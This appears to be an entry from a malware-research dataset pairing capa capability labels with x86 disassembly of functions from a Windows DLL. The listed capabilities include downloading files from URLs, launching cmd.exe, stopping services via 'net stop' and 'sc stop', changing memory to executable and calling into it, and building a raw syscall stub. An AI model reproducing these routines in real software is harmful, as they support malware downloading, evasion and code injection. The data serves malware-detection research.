joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006bbd0
Capabilities:
Access peb ldr_data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101dd5e5
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x24
mov eax, dword [0x1026dbac]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x30], esi
xorps xmm0, xmm0
mov dword [ebp - 0x34], esi
push 0x40
lea ecx, [ebp - 0x2c]
movups xmmword [ebp - 0x2c], xmm0
call fcn.1004db90
movups xmm0, xmmword [str.BufferedTransformation:_this_object_doesnt_allow_input]
mov ecx, eax
mov dword [ebp - 0x1c], 0x37
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], 0x3f
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x10256cbc]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [0x10256ccc]
movups xmmword [ecx + 0x20], xmm0
mov eax, dword [0x10256cdc]
mov dword [ecx + 0x30], eax
mov ax, word [0x10256ce0]
mov word [ecx + 0x34], ax
mov al, byte [0x10256ce2]
mov byte [ecx + 0x36], al
mov byte [ecx + 0x37], 0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movq qword [esi + 4], xmm0
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
lea ecx, [esi + 0x10]
mov dword [esi], vtable.CryptoPP::Exception.0
mov dword [esi + 0xc], 0
call fcn.1004b7d0
mov ecx, dword [ebp - 0x18]
mov dword [esi], vtable.CryptoPP::NotImplemented.0
cmp ecx, 0x10
jb 0x1006bcdf
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1006bcd5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1006bcd5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101d7443
add esp, 8
mov dword [esi], vtable.CryptoPP::InputRejecting_class_CryptoPP::Filter_::InputRejected.0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.101d6fbe
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x1006e6b0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101dd9fc
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x1026dbac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [edi], eax
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
lea esi, [edi + 0x38]
mov dword [edi + 0x30], 0
mov byte [edi + 0x34], 0
mov dword [ebp - 0x14], esi
mov dword [esi + 0x24], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x1006e764
mov eax, dword [ecx]
push esi
call dword [eax]
mov dword [esi + 0x24], eax
mov al, byte [ebp + 0x34]
lea ecx, [edi + 0x70]
mov byte [ebp - 4], 5
mov byte [edi + 0x60], al
push 9
mov byte [edi + 0x68], 9
call fcn.1006c970
cmp byte [edi + 0x68], 1
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
jne 0x1006e7a2
cmp dword [edi + 0x70], 0
jne 0x1006e7a2
push 0x4c8
push str.D:3.0dll_Testdsoundlibsjsoninclude_nlohmannjson.hpp
push str.m_type___value_t::object__m_value.object___nullptr
call ebx
add esp, 0xc
cmp byte [edi + 0x68], 2
jne 0x1006e7c2
cmp dword [edi + 0x70], 0
jne 0x1006e7c2
push 0x4c9
push str.D:3.0dll_Testdsoundlibsjsoninclude_nlohmannjson.hpp
push str.m_type___value_t::array__m_value.array___nullptr
call ebx
add esp, 0xc
cmp byte [edi + 0x68], 3
jne 0x1006e7e2
cmp dword [edi + 0x70], 0
jne 0x1006e7e2
push 0x4ca
push str.D:3.0dll_Testdsoundlibsjsoninclude_nlohmannjson.hpp
push str.m_type___value_t::string__m_value.string___nullptr
call ebx
add esp, 0xc
cmp byte [edi + 0x68], 8
jne 0x1006e802
cmp dword [edi + 0x70], 0
jne 0x1006e802
push 0x4cb
push str.D:3.0dll_Testdsoundlibsjsoninclude_nlohmannjson.hpp
push str.m_type___value_t::binary__m_value.binary___nullptr
call ebx
add esp, 0xc
lea eax, [ebp - 0xd]
mov byte [ebp - 4], 6
push eax
lea ecx, [edi + 0x10]
mov byte [ebp - 0xd], 1
call fcn.1006f530
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x1006e82e
mov esi, dword [ecx]
lea eax, [ebp + 0xc]
cmp ecx, eax
setne dl
movzx edx, dl
push edx
call dword [esi + 0x10]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x30
Function at 0x1007b050
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [0x103a6234]
push esi
push dword [ebp + 8]
mov dword [edi + 0x154], 1
lea eax, [edi + 0x15c]
lea ebx, [edi + 0x154]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [edi + 0x158], esi
add esi, 8
je 0x1007b139
mov eax, dword [edi]
test eax, eax
jne 0x1007b0af
push 0x4f
push str.D:3.0dll_Testdsoundconnection_win.cpp
push str.self
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
add esp, 0xc
jmp 0x1007b0f2
mov eax, dword [eax + 4]
cmp eax, 0xffffffff
je 0x1007b0f2
test ebx, ebx
jne 0x1007b0d2
push 0x56
push str.D:3.0dll_Testdsoundconnection_win.cpp
push 0x10254508
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
add esp, 0xc
jmp 0x1007b0f2
push 0
lea ecx, [ebp + 0xc]
mov dword [ebp + 0xc], 0
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp eax, 1
jne 0x1007b0f2
cmp dword [ebp + 0xc], esi
je 0x1007b139
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x1007b112
mov eax, dword [edi + 4]
cmp eax, 3
je 0x1007b106
cmp eax, 1
jne 0x1007b112
lea eax, [edi + 0x54]
push eax
push dword [edi + 0x50]
call ecx
add esp, 8
mov esi, dword [edi]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [esi + 4], 0xffffffff
xor al, al
mov byte [esi], 0
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10080c80
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101de98d
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push esi
mov eax, dword [0x1026dbac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 3
push 0x10258654
push 0
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0
call fcn.100598f0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0x3c
cmovae eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4c]
push eax
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
mov dword [ebp - 0x48], 0x40
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], str.cmd.exe
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x10080d29
or esi, 0xffffffff
jmp 0x10080d4d
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [ebp - 0x10]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x10080d83
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10080d79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10080d79
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101d7443
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10081230
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101dea85
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1026dbac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov dword [ebp - 0x10], ecx
lea edx, [ebp + 8]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.10081050
mov byte [ebp - 4], 1
mov esi, dword [ebp - 0x18]
sub esi, dword [ebp - 0x1c]
sar esi, 3
push esi
call fcn.101d772c
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
jle 0x1008129e
nop dword [eax]
mov ecx, dword [ebp - 0x1c]
mov cl, byte [ecx + edx*8]
mov byte [edx + edi], cl
inc edx
cmp edx, esi
jl 0x10081290
add ebx, dword [ebp - 0x10]
lea eax, [ebp - 0x10]
push eax
push 0x40
push esi
push ebx
push dword [0x103806a8]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
mov eax, dword [0x103a1cec]
test eax, eax
je 0x100812ce
push 0
push esi
push edi
push ebx
push dword [0x103806a8]
call eax
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push esi
push ebx
push dword [0x103806a8]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
push edi
call fcn.101d7727
mov edx, dword [ebp - 0x1c]
add esp, 4
test edx, edx
je 0x10081334
mov ecx, dword [ebp - 0x14]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffff8
cmp ecx, 0x1000
jb 0x10081315
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008135a
push ecx
push edx
call fcn.101d7443
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x1008136a
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10081360
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10081360
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101d7443
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10082180
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101dec58
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x1026dbac]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
lea edx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
xorps xmm0, xmm0
mov eax, dword [ebp + 0x18]
cmovae edx, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0x18], 0
cmp dword [ebp + 0x1c], 0x10
lea edx, [ebp + 8]
movups xmmword [ebp - 0x28], xmm0
cmovae edx, dword [ebp + 8]
mov dword [ebp - 0x14], 0
cmp edx, eax
jne 0x100821fd
mov eax, 0xf
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x28], 0
jmp 0x1008220c
sub eax, edx
lea ecx, [ebp - 0x28]
push eax
push edx
call fcn.1004d740
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
mov byte [ebp - 4], 2
lea edi, [ebp - 0x28]
cmovae edi, dword [ebp - 0x28]
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
cmp dword [ebp + 0x34], 0x10
lea esi, [ebp + 0x20]
cmovae esi, dword [ebp + 0x20]
nop dword [eax]
push 0
push 0
push esi
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
sub esp, 8
lea ecx, [ebp - 0xf8]
push 0x24
push esi
call fcn.1004c520
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0xf8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 2
call fcn.10049a80
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x40]
je 0x10082230
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x100822ae
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100822a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10082328
push ecx
push edx
call fcn.101d7443
add esp, 8
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0x10
jb 0x100822f0
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100822e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10082328
push ecx
push edx
call fcn.101d7443
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x10082338
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008232e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008232e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101d7443
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101d6fbe
mov esp, ebp
pop ebp
ret
Function at 0x10082ed0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101deded
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1026dbac]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0xf
push 9
push str.net_stop
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
call fcn.1004c990
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
push ecx
mov ecx, eax
call fcn.1004c990
push 9
push str.sc_stop
lea ecx, [ebp - 0x28]
call fcn.1004c990
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push dword [ebp + 0x18]
cmovae ecx, dword [ebp + 8]
push ecx
mov ecx, eax
call fcn.1004c990
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.1004b7d0
call fcn.10080c80
add esp, 0x18
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0x10258648
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x10082fbd
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x10082ff1
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10082fe7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008306b
push ecx
push edx
call fcn.101d7443
add esp, 8
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0x10
jb 0x10083033
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10083029
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008306b
push ecx
push edx
call fcn.101d7443
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x1008307b
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10083071
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10083071
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.101d7443
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101d6fbe
mov esp, ebp
pop ebp
ret
Function at 0x10085260
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x1025aa30
push dword [ebp + 8]
lea eax, [ebp - 4]
mov dword [ebp - 8], ecx
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov ebx, dword [ebp - 4]
add esp, 0xc
test ebx, ebx
jne 0x1008529b
lea eax, [ebx - 3]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 2
push 0
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
je 0x100852b4
mov esi, 0xfffffffd
jmp 0x1008532c
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
add esp, 4
test esi, esi
js 0x100852ad
jne 0x100852ca
xor esi, esi
jmp 0x1008532c
lea eax, [esi + 1]
push 0x102514d8
push eax
call fcn.101d7735
mov edi, eax
add esp, 8
test edi, edi
jne 0x100852e6
lea esi, [eax - 2]
jmp 0x1008532c
push 0
push 0
push ebx
mov byte [edi + esi], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
push ebx
push esi
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
cmp eax, esi
je 0x10085317
push edi
call fcn.101d7727
mov esi, 0xfffffffd
jmp 0x10085329
mov ecx, dword [ebp - 8]
push eax
push edi
call fcn.10085940
push edi
mov esi, eax
call fcn.101d7727
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10085350
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push dword [ebp + 8]
mov esi, ecx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x10085449
xor cl, cl
nop dword [eax + eax]
movsx edx, cl
cmp byte [edx + eax], 0xb8
je 0x10085399
inc cl
cmp cl, 0xf
jl 0x10085380
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
push ebx
mov ebx, dword [edx + eax + 1]
test ebx, ebx
je 0x10085448
push str.Wow64Transition
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x40
push 0x3000
push 0x10
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
shr ecx, 8
mov dword [ebp - 0x10], ecx
mov ecx, eax
shr eax, 0x18
mov dword [ebp - 0x18], eax
mov eax, ebx
shr eax, 8
mov dword [ebp + 8], eax
mov eax, ebx
shr eax, 0x10
mov dword [ebp - 4], eax
mov eax, ebx
shr ecx, 0x10
shr eax, 0x18
push 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [esi], eax
test eax, eax
je 0x10085448
mov ecx, dword [ebp + 8]
mov dword [eax], 0xb8909090
mov byte [eax + 4], bl
mov byte [eax + 5], cl
mov ecx, dword [ebp - 4]
mov byte [eax + 6], cl
mov ecx, dword [ebp - 8]
mov byte [eax + 7], cl
mov ecx, dword [ebp - 0xc]
mov byte [eax + 8], 0xba
mov byte [eax + 9], cl
mov ecx, dword [ebp - 0x10]
mov byte [eax + 0xa], cl
mov ecx, dword [ebp - 0x14]
mov byte [eax + 0xb], cl
mov ecx, dword [ebp - 0x18]
mov byte [eax + 0xc], cl
mov word [eax + 0xd], 0xd2ff
mov byte [eax + 0xf], 0xc3
pop ebx
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x1008cb70
Capabilities:
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
cmp byte [0x1037d184], 0
jne 0x1008cb7e
call fcn.100a0e60
cmp byte [0x1037d18d], 0
je 0x1008cb9c
push 0
push 0x40
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.100a11f0
add esp, 0x10
ret
jmp fcn.1008af20
Function at 0x100ab7a0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
sub esp, 0x18
mov eax, dword [0x1026dbac]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x20]
test esi, esi
je 0x100ab86b
lea eax, [esp + 4]
push eax
push esi
push 2
call fcn.100c5180
add esp, 0xc
test eax, eax
jne 0x100ab86b
lea eax, [esp + 8]
push eax
push esi
push 0x17
call fcn.100c5180
add esp, 0xc
test eax, eax
jne 0x100ab86b
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x100ab7f4
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.100c5150
add esp, 0xc
test eax, eax
je 0x100ab828
sub eax, esi
push eax
push 0x2e
push esi
call fcn.100c5150
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x100ab82a
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
mov ebx, 0x1505
add edi, esi
cmp esi, edi
jae 0x100ab856
mov al, byte [esi]
push eax
call fcn.100b99e0
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x100ab838
pop edi
movzx eax, bl
pop ebx
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.101d6fbe
add esp, 0x18
ret
mov ecx, dword [esp + 0x18]
xor eax, eax
pop esi
xor ecx, esp
call fcn.101d6fbe
add esp, 0x18
ret

Function at 0x100ac4f0
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [0x1026a0ec]
cmp eax, 0xffffffff
jne 0x100ac532
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x100ac518
xor eax, eax
test eax, eax
mov dword [0x1026a0ec], eax
setg al
ret
push eax
push 0
mov dword [0x1026a0ec], 1
call fcn.100b5bf0
mov eax, dword [0x1026a0ec]
add esp, 8
test eax, eax
setg al
ret

Function at 0x100ac540
Capabilities:
Create udp socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x2f0], 2
jne 0x100ac595
mov eax, dword [0x1026a0ec]
cmp eax, 0xffffffff
jne 0x100ac58f
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x100ac575
xor eax, eax
test eax, eax
mov dword [0x1026a0ec], eax
setg al
ret
push eax
push 0
mov dword [0x1026a0ec], 1
call fcn.100b5bf0
mov eax, dword [0x1026a0ec]
add esp, 8
test eax, eax
setg al
ret
mov al, 1
ret
Function at 0x100b50b0
Capabilities:
Write file on windows

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp dword [edi + 0x608], 0
je 0x100b50f4
push esi
push 1
push edi
call fcn.100a7680
push dword [edi + 0x59c]
mov eax, dword [edi + 0x608]
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
push edi
call eax
push 0
push edi
mov esi, eax
call fcn.100a7680
add esp, 0x24
mov eax, esi
pop esi
pop edi
ret
mov eax, dword [esp + 0xc]
cmp eax, 2
ja 0x100b512d
push dword [edi + 0x598]
lea eax, [eax + eax*2]
push 1
add eax, 0x101e84d0
push 2
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
push dword [edi + 0x598]
push 1
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x20
xor eax, eax
pop edi
ret

Function at 0x100b5720
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x8c
mov eax, dword [0x1026dbac]
xor eax, esp
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x98]
mov edx, dword [esp + 0x94]
push ebx
mov ebx, dword [esp + 0x94]
mov dword [esp + 8], eax
xor eax, eax
push ebp
mov ebp, dword [esp + 0xa8]
mov ecx, dword [ebx + 0x1c4]
cmp edx, ecx
push esi
sete al
mov esi, 0x1e4
push edi
lea eax, [eax*4 + 0x1c0]
mov eax, dword [eax + ebx]
mov dword [esp + 0x10], eax
mov eax, 0x1f4
cmove esi, eax
mov eax, dword [ebx + 0x2e8]
add esi, ebx
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x40], 3
je 0x100b582e
xor eax, eax
cmp edx, ecx
sete al
lea eax, [eax*4 + 0x1d4]
cmp dword [eax + ebx], 0x100b53f0
jne 0x100b582e
cmp dword [esi], 0
je 0x100b57b8
test edi, edi
je 0x100b582e
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [esp + 0x20]
call fcn.100b80f0
add esp, 0x14
cmp eax, 0xffffffff
je 0x100b582e
test al, 1
je 0x100b582e
mov ecx, dword [esi]
test ecx, ecx
jne 0x100b580b
mov eax, dword [ebx]
mov eax, dword [eax + 0x8fc]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [0x1026a0d8]
mov edi, dword [esi + 4]
mov ecx, eax
add esp, 4
mov dword [esi], ecx
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
test ecx, ecx
je 0x100b5827
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x100b582e
add dword [esi + 8], eax
jmp 0x100b582e
mov dword [esi + 4], 0
push 0
push dword [esp + 0xb0]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100b5897
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
